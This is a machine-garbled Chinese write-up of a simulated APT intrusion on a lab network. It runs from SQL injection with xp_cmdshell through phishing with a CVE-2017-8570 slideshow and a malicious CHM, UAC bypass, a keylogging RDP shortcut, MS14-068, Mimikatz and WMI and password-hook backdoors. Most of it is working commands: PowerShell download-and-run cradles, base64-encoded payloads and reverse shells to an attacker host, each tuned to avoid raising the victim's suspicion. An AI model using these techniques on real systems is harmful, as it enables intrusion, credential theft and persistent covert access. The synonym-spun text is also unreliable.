web渗出 从入门到夺目 (web渗出 底子 知识)〔web渗透百度百科〕

  APT攻击方式格式 繁多 ,我研究近来 的盛行 的APT攻击方式,在本地 搭建环境 模仿 一次简单 的APT攻击,在模仿 攻击过程中发现网上公布的poc都会有大巨细 的缺陷 ,大多数poc实行 过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改此中 的代码 ,使其实行 的过程中消除谁人 一闪而过的黑框框,从而让中招的不会轻易 产生猜疑 。我研究的目标 是袒露 如许 的攻击过程,让更多的人相识 如许 的攻击过程,从而可以或许 研究出更有效 的防御方法。

  内网的拓扑

  拓扑阐明 :

  【1】10.101.101.0/24的网段模仿 的是外网的地点

  【2】192.168.101.0/24的网段模仿 的是一个小型企业的内网中的应用服务器网络

  【3】192.168.111.0/24的网段模仿 的是一个小型企业的内网中的办公网络

  【4】企业内网可以无穷 制的访问到外网 ,但是外网无法访问到企业内网

  【5】办公网可以无穷 制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络

  【6】部分 服务器打了全部的补丁,而且 保持正常更新

web渗透从入门到精通(web渗透基础知识) web渗出
从入门到夺目

(web渗出
底子
知识)〔web渗透百度百科〕 新闻资讯

  一样平常 扫描

  发现此服务器开放80 ,82端口,是windows 2008体系 。在80端口发现有sql注入

  起首 看数据库和数据库地点 的服务器版本:

  http:/ /10.101.101.13/?page= 1and@@version 0--

  数据库是2008r2的,数据库地点 的操纵 体系 是win2008大概 win7然后看数据库:

  http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--

  这个语句测试数据库的权限 ,发现有延时,证明 是有数据库的权限是dba的权限然后用:

  EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;

  打开xp_cmdshell的限定 ,下面创建一个临时 表:

  https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --

  实行 ipconfig /all并将结果 写入新创建的临时 表中

  https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --

  读取结果 :

  https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000)) 0--

  看上去这个网站是站库分离的网站 。

  然后用这种方法实行 “ping 10.101.101.16 ” ,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时 表

  https://10.101.101.13/?page=1; droptabletemp; --

  获取到这么多信息了之后 ,在本身 的机子上开一个web站点,下载nishang的powershell的反弹脚本到本身 的web服务器上:https://github.com/samratashok/nishang ,先在本身 的主机上用nc -lvvp 8888监听8888端口,等待 反弹毗连 。

  然后实行

  http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

  我们可以看到实行 乐成

  但是数据库被降权 ,权限不高,如今 我把ms15-051的exp上传到本身 的服务器,用powershell的长途 加载并实行 exe的脚本。实行 这个exp起首 下载powershell的这个脚本

  https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

  然后实行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

  可以看到提权没有乐成 ,而且 换一个exp也没有乐成

  以是 下面上msf继承 探测 先开启msf的监听功能

  然后实行

  http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

  如许 就从数据库主机上反弹一个meterpreter毗连 了 。

  先用

  useauxiliary/scanner/smb/smb_version

  扫描smb来获取内网的信息

  发现一个mail服务器,用

  useauxiliary/scanner/portscan

  扫描一下端口 ,发现开放了80端口 ,25,110端口

  我用 use auxiliary/server/socks4a 署理 进内网

  在乌云镜像内里 没有找到可以用的洞,但是在82端口发现了惊喜

  通过弱口令轻松进入到背景 ,发现一个可以天生 静态站的地方

  把自界说 静态页面存储主路径改成1.asp,然后编辑一篇文章,把木马代码放进去 ,重新天生 静态页面就可以getshell了

  这个服务器的82端口不能实行 cmd,不支持aspx,不能跨目次 到umail,但是在一个奇怪 的地方发现一个一份企业通讯录 ,下载下来看到管理员邮箱

  于是想到用伪造邮件的方法来钓管理员 起首 参考两个文章:

  https://www.freebuf.com/vuls/144054.html

  https://www.91ri.org/15506.html

  

  第一种方法

  起首 用CVE-2017-8570给的exp做一个垂纶 用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再实行 ,如许 轻易 被杀软发现,而且 原来的exp实行 反弹返来 的shell权限不敷 ,以是 要思量 绕过uac ,让管理员点击恶意的ppsx后静默反弹一个高权限的shell。假如 用nishang给的Invoke-PsUACme.ps1,实行 之后会有一个一闪而过的黑框框,很让人感到猜疑 ,去掉这个一闪而过的黑框框很简单 ,由于 我用oobe的方法在win7上绕过uac,以是 我在这里只先容 在这种条件下去掉黑框框的方法。起首 去掉Invoke-PsUACme.ps1中第206行的“ $execpath”这个代码 ,之后在调用Invoke-PsUACme的时间 -payload参数写上你要实行 的下令 ,末了 用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe

web渗透从入门到精通(web渗透基础知识) web渗出
从入门到夺目

(web渗出
底子
知识)〔web渗透百度百科〕 新闻资讯

  IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")

  换掉原来exp内里 的powershell调用语句 此中 uacchm.ps1的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

  而此中 enc背面 的数据是颠末 下面的代码编码而成:

  $command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

  编码的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  chm.ps1的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  改好的exp我放在了

  https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py

  用法是:天赋 生 一个恶意的ppsx

  python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc

  在82端口开启服务

  pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16

  Ps: 很多 多少 时间 这个弊端 复现不乐成 ,可以将查察 文件 - 选项 ,点击 信托 中心 设置:

  去掉这些勾就好

  

  第二种方法

  这个比力 简单 : 用easy chm做一个恶意的chm就好

  此中 我做的test.html放在了

  https://github.com/niexinming/safe_tool/blob/master/test.html

  Ps:由于PARAM的value的长度好像 有某种限定 ,以是 我把

  IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64

  编码之后放入PARAM的value中

  两个恶意的文件都制作好了,我如今 用swaks伪造邮件把这两个文档发送出去

  如今 静静 等待 管理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时间 用exploit -j就可以让msf在背景 等待 管理员中计 了 。 这个时间 发现一个管理员中了我们的木马

  由于bypass了uac ,以是 返回的是管理员的shell,我们可以用mimikatz来把暗码 脱出来看看

  由于管理员的机子不属于任何域,也不是域账号登岸 ,以是 ,我必要 获取他的在长途 登岸 其他机子的时间 的用户名和暗码 ,根据 《分析 制作俄罗斯APT构造 利用 的快捷方式后门文件》这篇文件的先容 ,我盼望 更换 长途 桌面的快捷方式来监督 管理员的举动 。

  思绪 是:

  (1)正常启动c:windowssystem32mstsc.exe,克制 管理员猜疑 ;

  (2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框 ,让恶意代码静态启动;

  (3)参数部分 要先加260个空格字符背面 接着为payload代码,如许 减小管理员查察 属性的时间 看到payload而产生猜疑 ;

  (4)参考 《渗出 本领 ——怎样 奇妙 利用 PSR监控Windows桌面》 这个文章静默启动一个桌面步调 记录 程序 ;

  (5)利用 PowerSploit的Get-Keystrokes.ps1的脚原来 记录 键盘记录

  (6)记录 一分钟后把记录 的文件隐蔽 起来

  (7)启动metasploit的反弹毗连

  (8)修改图标(关于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面 ,可以修改转达 给图标id来修改图标)

  我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,长途 加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,天生 好恶意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事变 了。

  

  利用 方法

  看着已经天生 好了 ,看一下结果

  看着比力 正常,用起来也很正常,没有卡顿 ,没有一闪而过的黑框 。假如 管理员用到长途 登岸 快捷方式去长途 登岸 服务器的话,在c:windowstemp目次 下会天生 log.dll,这个内里 记录 的是键盘记录 ,cap.zip记录 的是关键步调 截屏

  等管理员启动的恶意的长途 登岸 快捷方式之前,可以用管理员的暗码 在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气

  

  看上去运气不佳啊

  等了几天,发如今 这个目次 下有这个东西了

  下载之后看到 ,键盘记录 :

  下面是屏幕截图记录

  如许 我就得到 了一个平凡 域账号的账户名和暗码 。

  下口试 试MS14-068这个弊端 能不能乐成 ,参考文章:

  https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35type=note#/用proxychain实行 goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻击

  Ps: 攻击的时间 假如 dns在内网要记得hosts的地点 绑定

  用得到的shell反弹一个poweshell出来到本地 8888端口 ,假如 你用下面的语句反弹的话将得到是一个32位的powershell:

  powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888

  这个时间 你运行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

  体系 会报错,缘故起因 是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位体系 文件重定向的题目 ,参考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。以是 精确 的做法是利用 下面的代码来反弹一个64位的powershell

  C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

  这个时间 你运行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat

  你就会得到域控管理员的暗码 下面我要在域控上面安装一个潜伏 的后门 ,参考文章:

  https://www.moonsec.com/post-621.html

  https://www.secpulse.com/archives/39555.html

  https://wooyun.jozxing.cc/static/drops/tips-15575.html

  我利用 三好学 生的方法制作一个wmi的后门,起首 : 在本身 的web目次 下写一个mof.ps1,这个文件作用是用利用 wmi的定时器的功能让体系 每分钟实行 一次我们的payload ,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 。

  我还写了一个可以挟制 进程 的powershell脚本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟实行 payload的这个脚本 ,这里的我的payload我用一个反弹meterpreter毗连 的脚本,mof.txt内里 的内容:

  ?xml version="1.0"?

  ![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]

  enc编码前的内容依然是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  实行 之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹

  Ps: 这个wmi的后门我在win10上实行 的时间 ,不能实行 payload,假如 触发到后门的触发条件的话,win10会弹出openwith.exe这个进程 ,界面上看就是这个

  查了两资质 料也没有找到一个端庄 的办理 方法,但是厥后 把openwith.exe换成cmd.exe就可以实行 payload了,由于 win7和win2008没有openwith,以是 没有碰到 什么阻力就直接实行 payload了 ,但是win10和win8在正常环境 下就会打开openwith这个后门的整理 方式,可以参考https://www.52pojie.cn/thread-607115-1-1.html

  我还想放置一个后门,在域控管理员改暗码 的时间 记录 他的新暗码 ,参考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,留意 他的脚本内里 有一个选项可以从你的web服务器加载一个dll到对方主机内存内里 ,如许 你把你的dll天生 好之后就可以放在你的web服务器下面 ,在这个ps1最下面参加

  Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass

  就可以了,然后你把这个脚本的调用参加 到chm.ps1内里 :下面是改动之后chm.ps1内里 的内容:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  如许 就可以任何时间 每隔一分钟的时间 可以一方面反弹一个meterpreter的毗连 ,还可以在域管理员改暗码 的时间 记录 他的新暗码

  本文先容 了web渗出 ,邮件垂纶 ,后门摆设 等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我本身 的办理 思绪 ,假如 有题目 各人 可以在批评 区留言,我们共同探究 。

(泉源 :亚信安全)